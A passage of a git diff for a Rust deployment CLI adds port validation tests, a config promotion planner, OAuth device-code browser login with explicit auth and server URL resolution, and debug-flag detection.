+    fn test_validate_semantics_cloud_public_ports_accepts_bare_number() {
+        let config = ConfigBuilder::new()
+            .name("ports-app")
+            .deploy_target(DeployTarget::Cloud)
+            .cloud(CloudConfig {
+                provider: CloudProvider::Hetzner,
+                orchestrator: CloudOrchestrator::Local,
+                region: Some("fsn1".to_string()),
+                size: Some("cpx21".to_string()),
+                install_image: None,
+                remote_payload_file: None,
+                ssh_key: None,
+                key: None,
+                server: None,
+                public_ports: vec!["8000".to_string(), "443/tcp".to_string()],
+            })
+            .build()
+            .unwrap();
+
+        let issues = config.validate_semantics();
+        let errors: Vec<_> = issues
+            .iter()
+            .filter(|i| i.severity == Severity::Error && i.code == "E005")
+            .collect();
+        assert!(
+            errors.is_empty(),
+            "Bare port numbers and port/proto specs must be valid, got: {errors:?}"
+        );
+    }
+
+    #[test]
+    fn test_validate_semantics_cloud_public_ports_rejects_invalid() {
+        let config = ConfigBuilder::new()
+            .name("ports-app")
+            .deploy_target(DeployTarget::Cloud)
+            .cloud(CloudConfig {
+                provider: CloudProvider::Hetzner,
+                orchestrator: CloudOrchestrator::Local,
+                region: Some("fsn1".to_string()),
+                size: Some("cpx21".to_string()),
+                install_image: None,
+                remote_payload_file: None,
+                ssh_key: None,
+                key: None,
+                server: None,
+                public_ports: vec!["80/icmp".to_string(), "not-a-port".to_string()],
+            })
+            .build()
+            .unwrap();
+
+        let issues = config.validate_semantics();
+        let e005: Vec<_> = issues.iter().filter(|i| i.code == "E005").collect();
+        assert_eq!(
+            e005.len(),
+            2,
+            "Expected two E005 issues for invalid public_ports, got: {e005:?}"
+        );
+    }
+
     // ━━━ ConfigBuilder tests ━━━
 
     #[test]
@@ -1562,6 +2396,8 @@ services:
                 environment: HashMap::new(),
                 volumes: vec![],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             })
             .deploy_target(DeployTarget::Cloud)
             .cloud(CloudConfig {
@@ -1574,6 +2410,7 @@ services:
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap();
@@ -1619,10 +2456,7 @@ services:
         assert_eq!(original.name, parsed.name);
         assert_eq!(original.app.app_type, parsed.app.app_type);
         assert_eq!(original.app.path, parsed.app.path);
-        assert_eq!(
-            original.env.get("PORT"),
-            parsed.env.get("PORT")
-        );
+        assert_eq!(original.env.get("PORT"), parsed.env.get("PORT"));
     }
 
     #[test]
@@ -1636,6 +2470,8 @@ services:
                 environment: HashMap::new(),
                 volumes: vec![],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             })
             .add_service(ServiceDefinition {
                 name: "redis".to_string(),
@@ -1644,6 +2480,8 @@ services:
                 environment: HashMap::new(),
                 volumes: vec![],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             })
             .add_service(ServiceDefinition {
                 name: "minio".to_string(),
@@ -1652,6 +2490,8 @@ services:
                 environment: HashMap::new(),
                 volumes: vec![],
                 depends_on: vec![],
+                command: None,
+                healthcheck: None,
             })
             .build()
             .unwrap();
diff --git a/src/cli/config_promote.rs b/src/cli/config_promote.rs
new file mode 100644
index 00000000..c1ba8095
--- /dev/null
+++ b/src/cli/config_promote.rs
@@ -0,0 +1,181 @@
+use std::collections::BTreeSet;
+use std::path::Path;
+
+use serde::Serialize;
+
+use crate::cli::config_diff::{load_diff, ConfigDiff, DiffItem};
+use crate::cli::error::CliError;
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct ConfigPromotionPlan {
+    pub from_environment: String,
+    pub to_environment: String,
+    pub service: Option<String>,
+    pub items: Vec<ConfigPromotionItem>,
+    pub warnings: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct ConfigPromotionItem {
+    pub target: String,
+    pub key: String,
+    pub secret: bool,
+    pub from_source: Option<String>,
+    pub placeholder: String,
+}
+
+pub fn load_promotion_plan(
+    config_path: &Path,
+    from_environment: &str,
+    to_environment: &str,
+    service: Option<String>,
+    keys: Vec<String>,
+) -> Result<ConfigPromotionPlan, CliError> {
+    let diff = load_diff(
+        config_path,
+        from_environment,
+        to_environment,
+        service.clone(),
+    )?;
+    Ok(promotion_plan_from_diff(diff, keys))
+}
+
+pub fn promotion_plan_from_diff(diff: ConfigDiff, keys: Vec<String>) -> ConfigPromotionPlan {
+    let key_filter = keys
+        .into_iter()
+        .map(|key| key.trim().to_string())
+        .filter(|key| !key.is_empty())
+        .collect::<BTreeSet<_>>();
+    let items = diff
+        .missing_in_to
+        .iter()
+        .filter(|item| key_filter.is_empty() || key_filter.contains(&item.key))
+        .map(promotion_item)
+        .collect();
+
+    ConfigPromotionPlan {
+        from_environment: diff.from_environment,
+        to_environment: diff.to_environment,
+        service: diff.service,
+        items,
+        warnings: diff.warnings,
+    }
+}
+
+impl ConfigPromotionPlan {
+    pub fn is_empty(&self) -> bool {
+        self.items.is_empty()
+    }
+}
+
+fn promotion_item(item: &DiffItem) -> ConfigPromotionItem {
+    ConfigPromotionItem {
+        target: item.target.clone(),
+        key: item.key.clone(),
+        secret: item.secret,
+        from_source: item.from_source.clone(),
+        placeholder: format!("{}=", item.key),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::TempDir;
+
+    fn write(path: &Path, content: &str) {
+        if let Some(parent) = path.parent() {
+            std::fs::create_dir_all(parent).unwrap();
+        }
+        std::fs::write(path, content).unwrap();
+    }
+
+    fn promotion(root: &Path, keys: Vec<String>) -> ConfigPromotionPlan {
+        load_promotion_plan(
+            &root.join("stacker.yml"),
+            "local",
+            "prod",
+            Some("upload".to_string()),
+            keys,
+        )
+        .unwrap()
+    }
+
+    fn write_project(root: &Path) {
+        write(
+            &root.join("stacker.yml"),
+            r#"
+name: device-api
+environments:
+  local:
+    compose_file: docker/local/compose.yml
+  prod:
+    compose_file: docker/prod/compose.yml
+"#,
+        );
+        write(
+            &root.join("docker/local/compose.yml"),
+            r#"
+services:
+  upload:
+    image: upload:latest
+    environment:
+      S3_BUCKET: local-bucket
+      S3_SECRET_KEY: local-secret
+      REDIS_URL: redis://local
+"#,
+        );
+        write(
+            &root.join("docker/prod/compose.yml"),
+            r#"
+services:
+  upload:
+    image: upload:latest
+    environment:
+      REDIS_URL: redis://prod
+"#,
+        );
+    }
+
+    #[test]
+    fn config_promote_plans_placeholders_for_missing_target_keys() {
+        let temp = TempDir::new().unwrap();
+        write_project(temp.path());
+
+        let plan = promotion(temp.path(), Vec::new());
+
+        assert_eq!(plan.items.len(), 2);
+        assert!(plan.items.iter().any(|item| item.key == "S3_BUCKET"));
+        assert!(plan
+            .items
+            .iter()
+            .any(|item| item.placeholder == "S3_SECRET_KEY="));
+    }
+
+    #[test]
+    fn config_promote_marks_secret_placeholders_without_values() {
+        let temp = TempDir::new().unwrap();
+        write_project(temp.path());
+
+        let plan = promotion(temp.path(), Vec::new());
+        let secret = plan
+            .items
+            .iter()
+            .find(|item| item.key == "S3_SECRET_KEY")
+            .unwrap();
+
+        assert!(secret.secret);
+        assert_eq!(secret.placeholder, "S3_SECRET_KEY=");
+    }
+
+    #[test]
+    fn config_promote_respects_key_filter() {
+        let temp = TempDir::new().unwrap();
+        write_project(temp.path());
+
+        let plan = promotion(temp.path(), vec!["S3_BUCKET".to_string()]);
+
+        assert_eq!(plan.items.len(), 1);
+        assert_eq!(plan.items[0].key, "S3_BUCKET");
+    }
+}
diff --git a/src/cli/credentials.rs b/src/cli/credentials.rs
index a95d0f68..7838d0c1 100644
--- a/src/cli/credentials.rs
+++ b/src/cli/credentials.rs
@@ -122,9 +122,7 @@ impl FileCredentialStore {
     pub fn default_path() -> PathBuf {
         let base = std::env::var("XDG_CONFIG_HOME")
             .map(PathBuf::from)
-            .or_else(|_| {
-                std::env::var("HOME").map(|h| PathBuf::from(h).join(".config"))
-            })
+            .or_else(|_| std::env::var("HOME").map(|h| PathBuf::from(h).join(".config")))
             .unwrap_or_else(|_| PathBuf::from("."));
 
         base.join("stacker").join("credentials.json")
@@ -220,10 +218,7 @@ impl<S: CredentialStore> CredentialsManager<S> {
     /// Load credentials and ensure they are present and not expired.
     /// Returns `CliError::LoginRequired` when absent,
     /// `CliError::TokenExpired` when expired.
-    pub fn require_valid_token(
-        &self,
-        feature: &str,
-    ) -> Result<StoredCredentials, CliError> {
+    pub fn require_valid_token(&self, feature: &str) -> Result<StoredCredentials, CliError> {
         let creds = self.store.load()?.ok_or_else(|| CliError::LoginRequired {
             feature: feature.to_string(),
         })?;
@@ -253,15 +248,42 @@ impl CredentialsManager<FileCredentialStore> {
 // OAuthClient trait — abstraction over HTTP login calls
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
-/// Default TryDirect platform API base URL.
-pub const DEFAULT_API_URL: &str = "https://api.try.direct";
-
 /// OAuth token endpoint path (relative to auth_url).
 const TOKEN_ENDPOINT: &str = "/auth/login";
 
 fn is_direct_login_endpoint(auth_url: &str) -> bool {
     let url = auth_url.trim_end_matches('/').to_lowercase();
-    url.ends_with("/auth/login") || url.ends_with("/server/user/auth/login") || url.ends_with("/login")
+    url.ends_with("/auth/login")
+        || url.ends_with("/server/user/auth/login")
+        || url.ends_with("/login")
+}
+
+fn resolve_auth_url(request: &LoginRequest) -> Result<String, CliError> {
+    request
+        .auth_url
+        .clone()
+        .or_else(|| std::env::var("STACKER_AUTH_URL").ok())
+        .or_else(|| std::env::var("STACKER_API_URL").ok())
+        .or_else(|| crate::cli::user_config::UserConfig::load().auth_url)
+        .ok_or_else(|| {
+            CliError::ConfigValidation(
+                "Missing auth URL. Pass `stacker login --auth-url <user-service-url> --server-url <stacker-api-url>` or set STACKER_AUTH_URL (or STACKER_API_URL) and STACKER_URL.".to_string(),
+            )
+        })
+}
+
+fn resolve_server_url(request: &LoginRequest) -> Result<String, CliError> {
+    request
+        .server_url
+        .clone()
+        .or_else(|| std::env::var("STACKER_URL").ok())
+        .or_else(|| crate::cli::user_config::UserConfig::load().server_url)
+        .map(|value| crate::cli::install_runner::normalize_stacker_server_url(&value))
+        .ok_or_else(|| {
+            CliError::ConfigValidation(
+                "Missing Stacker API URL. Pass `stacker login --server-url <stacker-api-url>` (alias: `--api-url`) or set STACKER_URL.".to_string(),
+            )
+        })
 }
 
 /// Parameters for a login request.
@@ -270,6 +292,7 @@ pub struct LoginRequest {
     pub email: String,
     pub password: String,
     pub auth_url: Option<String>,
+    pub server_url: Option<String>,
     pub org: Option<String>,
     pub domain: Option<String>,
 }
@@ -277,8 +300,12 @@ pub struct LoginRequest {
 /// Abstraction over the HTTP call to the OAuth token endpoint.
 /// Production uses `HttpOAuthClient`; tests can inject a mock.
 pub trait OAuthClient: Send + Sync {
-    fn request_token(&self, auth_url: &str, email: &str, password: &str)
-        -> Result<TokenResponse, CliError>;
+    fn request_token(
+        &self,
+        auth_url: &str,
+        email: &str,
+        password: &str,
+    ) -> Result<TokenResponse, CliError>;
 }
 
 /// Production OAuth client using `reqwest::blocking`.
@@ -309,10 +336,7 @@ impl OAuthClient for HttpOAuthClient {
         let resp = if direct_login {
             client
                 .post(&url)
-                .form(&[
-                    ("email", email),
-                    ("password", password),
-                ])
+                .form(&[("email", email), ("password", password)])
                 .send()
         } else {
             client
@@ -361,19 +385,12 @@ pub fn login<S: CredentialStore, O: OAuthClient>(
     oauth: &O,
     request: &LoginRequest,
 ) -> Result<StoredCredentials, CliError> {
-    let env_auth_url = std::env::var("STACKER_AUTH_URL")
-        .ok()
-        .or_else(|| std::env::var("STACKER_API_URL").ok());
-    let auth_url = request
-        .auth_url
-        .as_deref()
-        .or(env_auth_url.as_deref())
-        .unwrap_or(DEFAULT_API_URL);
-
-    let token_resp = oauth.request_token(auth_url, &request.email, &request.password)?;
+    let auth_url = resolve_auth_url(request)?;
+    let server_url = resolve_server_url(request)?;
+    let token_resp = oauth.request_token(&auth_url, &request.email, &request.password)?;
     let mut creds = StoredCredentials::from(token_resp);
     creds.email = Some(request.email.clone());
-    creds.server_url = Some(auth_url.to_string());
+    creds.server_url = Some(server_url);
     creds.org = request.org.clone();
     creds.domain = request.domain.clone();
 
@@ -389,6 +406,272 @@ impl fmt::Display for StoredCredentials {
     }
 }
 
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// RFC 8628 Device Authorization Grant helpers
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Strip a trailing `/auth/login` suffix so we always work from the user-service
+/// base URL (e.g. `https://try.direct/server/user`).
+fn oauth_base_url(auth_url: &str) -> String {
+    let url = auth_url.trim_end_matches('/');
+    for suffix in &["/auth/login", "/server/user/auth/login"] {
+        if let Some(base) = url.strip_suffix(suffix) {
+            return base.to_string();
+        }
+    }
+    url.to_string()
+}
+
+/// Response from `POST /oauth_client/device_authorization`.
+struct DeviceAuthResponse {
+    device_code: String,
+    user_code: String,
+    verification_uri: String,
+    verification_uri_complete: String,
+    expires_in: u64,
+    interval: u64,
+}
+
+/// RFC 8628 §3.1 — Device Authorization Request.
+///
+/// POSTs `{"client_id": "stacker-cli", "provider": "<gc|gh|...>"}` and returns
+/// the server-generated codes the CLI needs to display and poll with.
+fn request_device_authorization(
+    base_url: &str,
+    provider: &str,
+) -> Result<DeviceAuthResponse, CliError> {
+    let endpoint = format!("{base_url}/oauth_client/device_authorization");
+
+    let client = reqwest::blocking::Client::builder()
+        .timeout(std::time::Duration::from_secs(30))
+        .build()
+        .map_err(|e| CliError::AuthFailed(format!("HTTP client error: {e}")))?;
+
+    let body = serde_json::json!({ "client_id": "stacker-cli", "provider": provider });
+    let resp = client
+        .post(&endpoint)
+        .json(&body)
+        .send()
+        .map_err(|e| CliError::AuthFailed(format!("Network error: {e}")))?;
+
+    if !resp.status().is_success() {
+        let status = resp.status();
+        let preview: String = resp.text().unwrap_or_default().chars().take(200).collect();
+        return Err(CliError::AuthFailed(format!(
+            "Device authorization failed ({status}): {preview}"
+        )));
+    }
+
+    let data: serde_json::Value = resp
+        .json()
+        .map_err(|e| CliError::AuthFailed(format!("Invalid response: {e}")))?;
+    let inner = data.get("data").unwrap_or(&data);
+
+    let field = |key: &str| -> Result<String, CliError> {
+        inner
+            .get(key)
+            .and_then(|v| v.as_str())
+            .map(|s| s.to_string())
+            .ok_or_else(|| CliError::AuthFailed(format!("Response missing `{key}`: {data}")))
+    };
+
+    Ok(DeviceAuthResponse {
+        device_code: field("device_code")?,
+        user_code: field("user_code")?,
+        verification_uri: field("verification_uri")?,
+        verification_uri_complete: field("verification_uri_complete")?,
+        expires_in: inner
+            .get("expires_in")
+            .and_then(|v| v.as_u64())
+            .unwrap_or(300),
+        interval: inner.get("interval").and_then(|v| v.as_u64()).unwrap_or(5),
+    })
+}
+
+/// RFC 8628 §3.4 — Device Access Token Request (polling).
+///
+/// Polls `POST /oauth_client/device_token` every `interval` seconds.
+/// Handles `authorization_pending` (keep waiting), `slow_down` (+5 s),
+/// `access_denied`, and `expired_token` per the spec.
+fn poll_device_token(
+    base_url: &str,
+    device_code: &str,
+    interval_secs: u64,
+    expires_in: u64,
+) -> Result<(String, Option<String>, Option<u64>), CliError> {
+    let endpoint = format!("{base_url}/oauth_client/device_token");
+
+    let client = reqwest::blocking::Client::builder()
+        .timeout(std::time::Duration::from_secs(15))
+        .build()
+        .map_err(|e| CliError::AuthFailed(format!("HTTP client error: {e}")))?;
+
+    let body = serde_json::json!({
+        "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
+        "device_code": device_code,
+        "client_id": "stacker-cli",
+    });
+
+    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(expires_in);
+    let mut interval = std::time::Duration::from_secs(interval_secs);
+
+    loop {
+        std::thread::sleep(interval);
+
+        if std::time::Instant::now() >= deadline {
+            return Err(CliError::AuthFailed(
+                "Authentication timed out. Please try again.".to_string(),
+            ));
+        }
+
+        let resp = match client.post(&endpoint).json(&body).send() {
+            Ok(r) => r,
+            Err(_) => continue, // transient network error — keep polling
+        };
+
+        let status = resp.status();
+        let data: serde_json::Value = resp.json().unwrap_or(serde_json::Value::Null);
+
+        if status.is_success() {
+            let access_token = data
+                .get("access_token")
+                .and_then(|v| v.as_str())
+                .ok_or_else(|| {
+                    CliError::AuthFailed("Token response missing access_token".to_string())
+                })?
+                .to_string();
+            let refresh_token = data
+                .get("refresh_token")
+                .and_then(|v| v.as_str())
+                .map(|s| s.to_string());
+            let token_expires_in = data.get("expires_in").and_then(|v| v.as_u64());
+            return Ok((access_token, refresh_token, token_expires_in));
+        }
+
+        // RFC 8628 §3.5 error codes
+        match data.get("error").and_then(|v| v.as_str()) {
+            Some("authorization_pending") => {} // normal — keep polling
+            Some("slow_down") => interval += std::time::Duration::from_secs(5),
+            Some("access_denied") => {
+                return Err(CliError::AuthFailed("Access denied by user.".to_string()))
+            }
+            Some("expired_token") => {
+                return Err(CliError::AuthFailed(
+                    "Session expired. Please run `stacker login` again.".to_string(),
+                ))
+            }
+            Some(other) => return Err(CliError::AuthFailed(format!("Auth error: {other}"))),
+            None => {} // unexpected non-200 without error field — keep polling
+        }
+    }
+}
+
+/// Retrieve the authenticated user's email from the user service.
+pub fn fetch_user_email(auth_url: &str, access_token: &str) -> Result<Option<String>, CliError> {
+    let base = oauth_base_url(auth_url);
+    let endpoint = format!("{base}/oauth_server/api/me");
+
+    let client = reqwest::blocking::Client::builder()
+        .timeout(std::time::Duration::from_secs(15))
+        .build()
+        .map_err(|e| CliError::AuthFailed(format!("HTTP client error: {e}")))?;
+
+    let resp = client
+        .get(&endpoint)
+        .bearer_auth(access_token)
+        .send()
+        .map_err(|e| CliError::AuthFailed(format!("Network error fetching user profile: {e}")))?;
+
+    if !resp.status().is_success() {
+        return Ok(None);
+    }
+
+    let data: serde_json::Value = resp.json().unwrap_or(serde_json::Value::Null);
+    let email = data
+        .get("email")
+        .or_else(|| data.get("user").and_then(|u| u.get("email")))
+        .and_then(|v| v.as_str())
+        .map(|s| s.to_string());
+    Ok(email)
+}
+
+/// RFC 8628 Device Authorization Grant login flow.
+///
+/// 1. Requests device + user codes from the server.
+/// 2. Shows the user_code and opens the browser to the OAuth URL.
+/// 3. Polls until the user authenticates or the session expires.
+/// 4. Saves and returns the credentials.
+pub fn browser_login<S: CredentialStore>(
+    store: &CredentialsManager<S>,
+    auth_url: &str,
+    server_url: &str,
+    provider: &str,
+    org: Option<&str>,
+    domain: Option<&str>,
+) -> Result<StoredCredentials, CliError> {
+    let base = oauth_base_url(auth_url);
+    let device_auth = request_device_authorization(&base, provider)?;
+
+    eprintln!("\nTo sign in, open this URL in your browser:");
+    eprintln!("  {}", device_auth.verification_uri_complete);
+    eprintln!();
+
+    let opened = {
+        #[cfg(target_os = "macos")]
+        {
+            std::process::Command::new("open")
+                .arg(&device_auth.verification_uri_complete)
+                .status()
+                .is_ok()
+        }
+        #[cfg(target_os = "linux")]
+        {
+            std::process::Command::new("xdg-open")
+                .arg(&device_auth.verification_uri_complete)
+                .status()
+                .is_ok()
+        }
+        #[cfg(not(any(target_os = "macos", target_os = "linux")))]
+        {
+            false
+        }
+    };
+    if opened {
+        eprintln!("  (Browser opened automatically)");
+    }
+
+    eprintln!("Waiting for authentication...");
+
+    let (access_token, refresh_token, token_expires_in) = poll_device_token(
+        &base,
+        &device_auth.device_code,
+        device_auth.interval,
+        device_auth.expires_in,
+    )?;
+
+    let email = fetch_user_email(auth_url, &access_token)?;
+
+    let min_ttl = session_ttl_secs();
+    let ttl = token_expires_in.unwrap_or(min_ttl).max(min_ttl);
+    let expires_at = chrono::Utc::now() + chrono::Duration::seconds(ttl as i64);
+
+    let creds = StoredCredentials {
+        access_token,
+        refresh_token,
+        token_type: "Bearer".to_string(),
+        expires_at,
+        email,
+        server_url: Some(crate::cli::install_runner::normalize_stacker_server_url(
+            server_url,
+        )),
+        org: org.map(|s| s.to_string()),
+        domain: domain.map(|s| s.to_string()),
+    };
+
+    store.save(&creds)?;
+    Ok(creds)
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Tests
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -400,8 +683,12 @@ mod tests {
 
     #[test]
     fn test_is_direct_login_endpoint_detection() {
-        assert!(is_direct_login_endpoint("https://dev.try.direct/server/user/auth/login"));
-        assert!(is_direct_login_endpoint("https://dev.try.direct/server/user/auth/login/"));
+        assert!(is_direct_login_endpoint(
+            "https://dev.try.direct/server/user/auth/login"
+        ));
+        assert!(is_direct_login_endpoint(
+            "https://dev.try.direct/server/user/auth/login/"
+        ));
         assert!(!is_direct_login_endpoint("https://api.try.direct"));
     }
 
@@ -539,8 +826,9 @@ mod tests {
         };
         let creds = StoredCredentials::from(resp);
         let diff = creds.expires_at - Utc::now();
-        assert!(diff.num_seconds() > (ten_hours as i64) - 100
-            && diff.num_seconds() <= ten_hours as i64);
+        assert!(
+            diff.num_seconds() > (ten_hours as i64) - 100 && diff.num_seconds() <= ten_hours as i64
+        );
     }
 
     #[test]
@@ -759,7 +1047,8 @@ mod tests {
         let request = LoginRequest {
             email: "user@example.com".into(),
             password: "secret".into(),
-            auth_url: None,
+            auth_url: Some("https://auth.example.com".into()),
+            server_url: Some("https://stacker.example.com".into()),
             org: None,
             domain: None,
         };
@@ -767,7 +1056,10 @@ mod tests {
         let creds = login(&manager, &oauth, &request).unwrap();
         assert_eq!(creds.access_token, "mock-access-token");
         assert_eq!(creds.email.as_deref(), Some("user@example.com"));
-        assert_eq!(creds.server_url.as_deref(), Some(DEFAULT_API_URL));
+        assert_eq!(
+            creds.server_url.as_deref(),
+            Some("https://stacker.example.com")
+        );
 
         // Verify persisted
         let loaded = manager.load().unwrap().unwrap();
@@ -781,7 +1073,8 @@ mod tests {
         let request = LoginRequest {
             email: "user@example.com".into(),
             password: "secret".into(),
-            auth_url: None,
+            auth_url: Some("https://auth.example.com".into()),
+            server_url: Some("https://stacker.example.com".into()),
             org: Some("acme".into()),
             domain: None,
         };
@@ -797,7 +1090,8 @@ mod tests {
         let request = LoginRequest {
             email: "user@example.com".into(),
             password: "secret".into(),
-            auth_url: None,
+            auth_url: Some("https://auth.example.com".into()),
+            server_url: Some("https://stacker.example.com".into()),
             org: None,
             domain: Some("acme.com".into()),
         };
@@ -809,11 +1103,13 @@ mod tests {
     #[test]
     fn test_login_invalid_credentials_returns_error() {
         let (manager, _) = make_manager();
-        let oauth = MockOAuthClient::failure("Authentication failed (HTTP 401 Unauthorized): invalid");
+        let oauth =
+            MockOAuthClient::failure("Authentication failed (HTTP 401 Unauthorized): invalid");
         let request = LoginRequest {
             email: "bad@example.com".into(),
             password: "wrong".into(),
-            auth_url: None,
+            auth_url: Some("https://auth.example.com".into()),
+            server_url: Some("https://stacker.example.com".into()),
             org: None,
             domain: None,
         };
@@ -830,7 +1126,8 @@ mod tests {
         let request = LoginRequest {
             email: "user@example.com".into(),
             password: "secret".into(),
-            auth_url: Some("https://custom.api".into()),
+            auth_url: Some("https://auth.example.com".into()),
+            server_url: Some("https://custom.api".into()),
             org: None,
             domain: None,
         };
@@ -839,6 +1136,85 @@ mod tests {
         assert_eq!(creds.server_url.as_deref(), Some("https://custom.api"));
     }
 
+    #[test]
+    fn test_login_preserves_explicit_legacy_stacker_route() {
+        let (manager, _) = make_manager();
+        let oauth = MockOAuthClient::success();
+        let request = LoginRequest {
+            email: "user@example.com".into(),
+            password: "secret".into(),
+            auth_url: Some("https://dev.try.direct/server/user/auth/login".into()),
+            server_url: Some("https://dev.try.direct/stacker".into()),
+            org: None,
+            domain: None,
+        };
+
+        let creds = login(&manager, &oauth, &request).unwrap();
+        assert_eq!(
+            creds.server_url.as_deref(),
+            Some("https://dev.try.direct/stacker")
+        );
+    }
+
+    #[test]
+    fn test_login_preserves_explicit_api_gateway_url() {
+        let (manager, _) = make_manager();
+        let oauth = MockOAuthClient::success();
+        let request = LoginRequest {
+            email: "user@example.com".into(),
+            password: "secret".into(),
+            auth_url: Some("https://dev.try.direct/server/user/auth/login".into()),
+            server_url: Some("https://api.try.direct".into()),
+            org: None,
+            domain: None,
+        };
+
+        let creds = login(&manager, &oauth, &request).unwrap();
+        assert_eq!(creds.server_url.as_deref(), Some("https://api.try.direct"));
+    }
+
+    #[test]
+    fn test_login_requires_auth_url_when_not_provided_by_flag_or_env() {
+        let (manager, _) = make_manager();
+        let oauth = MockOAuthClient::success();
+        let request = LoginRequest {
+            email: "user@example.com".into(),
+            password: "secret".into(),
+            auth_url: None,
+            server_url: Some("https://dev.stacker.try.direct".into()),
+            org: None,
+            domain: None,
+        };
+
+        // Isolate from the real ~/.config/stacker/config.yml which may provide a fallback URL.
+        let tmp = tempfile::tempdir().unwrap();
+        std::env::set_var("XDG_CONFIG_HOME", tmp.path());
+        let err = login(&manager, &oauth, &request).unwrap_err();
+        std::env::remove_var("XDG_CONFIG_HOME");
+        assert!(format!("{err}").contains("Missing auth URL"));
+    }
+
+    #[test]
+    fn test_login_requires_server_url_when_not_provided_by_flag_or_env() {
+        let (manager, _) = make_manager();
+        let oauth = MockOAuthClient::success();
+        let request = LoginRequest {
+            email: "user@example.com".into(),
+            password: "secret".into(),
+            auth_url: Some("https://dev.try.direct/server/user/auth/login".into()),
+            server_url: None,
+            org: None,
+            domain: None,
+        };
+
+        // Isolate from the real ~/.config/stacker/config.yml which may provide a fallback URL.
+        let tmp = tempfile::tempdir().unwrap();
+        std::env::set_var("XDG_CONFIG_HOME", tmp.path());
+        let err = login(&manager, &oauth, &request).unwrap_err();
+        std::env::remove_var("XDG_CONFIG_HOME");
+        assert!(format!("{err}").contains("Missing Stacker API URL"));
+    }
+
     #[test]
     fn test_login_refresh_existing_token() {
         let (manager, _) = make_manager();
@@ -849,7 +1225,8 @@ mod tests {
         let request = LoginRequest {
             email: "user@example.com".into(),
             password: "secret".into(),
-            auth_url: None,
+            auth_url: Some("https://auth.example.com".into()),
+            server_url: Some("https://stacker.example.com".into()),
             org: None,
             domain: None,
         };
diff --git a/src/cli/debug.rs b/src/cli/debug.rs
new file mode 100644
index 00000000..d58cfa74
--- /dev/null
+++ b/src/cli/debug.rs
@@ -0,0 +1,84 @@
+pub fn cli_debug_enabled() -> bool {
+    ["DEBUG", "STACKER_DEBUG"].iter().any(|key| {
+        std::env::var(key)
+            .map(|value| {
+                matches!(
+                    value.to_ascii_lowercase().as_str(),
+                    "1" | "true" | "yes" | "on"
+                )
+            })
+            .unwrap_or(false)
+    }) || std::env::var("RUST_LOG")
+        .map(|value| {
+            value.split(',').any(|directive| {
+                let directive = directive.trim();
+                directive.eq_ignore_ascii_case("debug")
+                    || directive
+                        .rsplit_once('=')
+                        .is_some_and(|(_, level)| level.eq_ignore_ascii_case("debug"))
+            })
+        })
+        .unwrap_or(false)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::cli_debug_enabled;
+    use std::sync::{Mutex, OnceLock};
+
+    fn env_lock() -> std::sync::MutexGuard<'static, ()> {
+        static LOCK: OnceLock<Mutex<()>> = OnceLock::new();
+        LOCK.get_or_init(|| Mutex::new(())).lock().unwrap()
+    }
+
+    fn clear_debug_env() {
+        std::env::remove_var("DEBUG");
+        std::env::remove_var("STACKER_DEBUG");
+        std::env::remove_var("RUST_LOG");
+    }
+
+    #[test]
+    fn cli_debug_enabled_accepts_debug_true() {
+        let _guard = env_lock();
+        clear_debug_env();
+        std::env::set_var("DEBUG", "true");
+        assert!(cli_debug_enabled());
+        clear_debug_env();
+    }
+
+    #[test]
+    fn cli_debug_enabled_accepts_stacker_debug_true() {
+        let _guard = env_lock();
+        clear_debug_env();
+        std::env::set_var("STACKER_DEBUG", "true");
+        assert!(cli_debug_enabled());
+        clear_debug_env();
+    }
+
+    #[test]
+    fn cli_debug_enabled_accepts_rust_log_debug() {
+        let _guard = env_lock();
+        clear_debug_env();
+        std::env::set_var("RUST_LOG", "debug");
+        assert!(cli_debug_enabled());
+        clear_debug_env();
+    }
+
+    #[test]
+    fn cli_debug_enabled_accepts_module_rust_log_debug() {
+        let _guard = env_lock();
+        clear_debug_env();
+        std::env::set_var("RUST_LOG", "info,stacker=debug");
+        assert!(cli_debug_enabled());
+        clear_debug_env();
+    }
+
+    #[test]
+    fn cli_debug_enabled_ignores_non_debug_rust_log() {
+        let _guard = env_lock();
+        clear_debug_env();
+        std::env::set_var("RUST_LOG", "info,stacker=trace");
+        assert!(!cli_debug_enabled());
+        clear_debug_env();
+    }
+}
diff --git a/src/cli/deployment_lock.rs b/src/cli/deployment_lock.rs
index 29dc5c96..ae0e7d81 100644
--- a/src/cli/deployment_lock.rs
+++ b/src/cli/deployment_lock.rs
@@ -3,7 +3,7 @@ use std::path::{Path, PathBuf};
 use chrono::Utc;
 use serde::{Deserialize, Serialize};
 
-use crate::cli::config_parser::{ServerConfig, StackerConfig};
+use crate::cli::config_parser::{ServerConfig, StackerConfig, MARKETPLACE_ORIGIN_MARKER};
 use crate::cli::error::CliError;
 use crate::cli::install_runner::DeployResult;
 
@@ -37,6 +37,10 @@ pub struct DeploymentLock {
     /// SSH port on the target server.
     pub ssh_port: Option<u16>,
 
+    /// SSH private key path for the target server when explicitly configured.
+    #[serde(default)]
+    pub ssh_key: Option<PathBuf>,
+
     /// Server name on the Stacker platform (for `--server` reuse).
     pub server_name: Option<String>,
 
@@ -52,6 +56,9 @@ pub struct DeploymentLock {
     /// Project name as known by the Stacker server.
     pub project_name: Option<String>,
 
+    /// Stacker account email used for the deployment.
+    pub stacker_email: Option<String>,
+
     /// ISO 8601 timestamp of the deployment.
     pub deployed_at: String,
 }
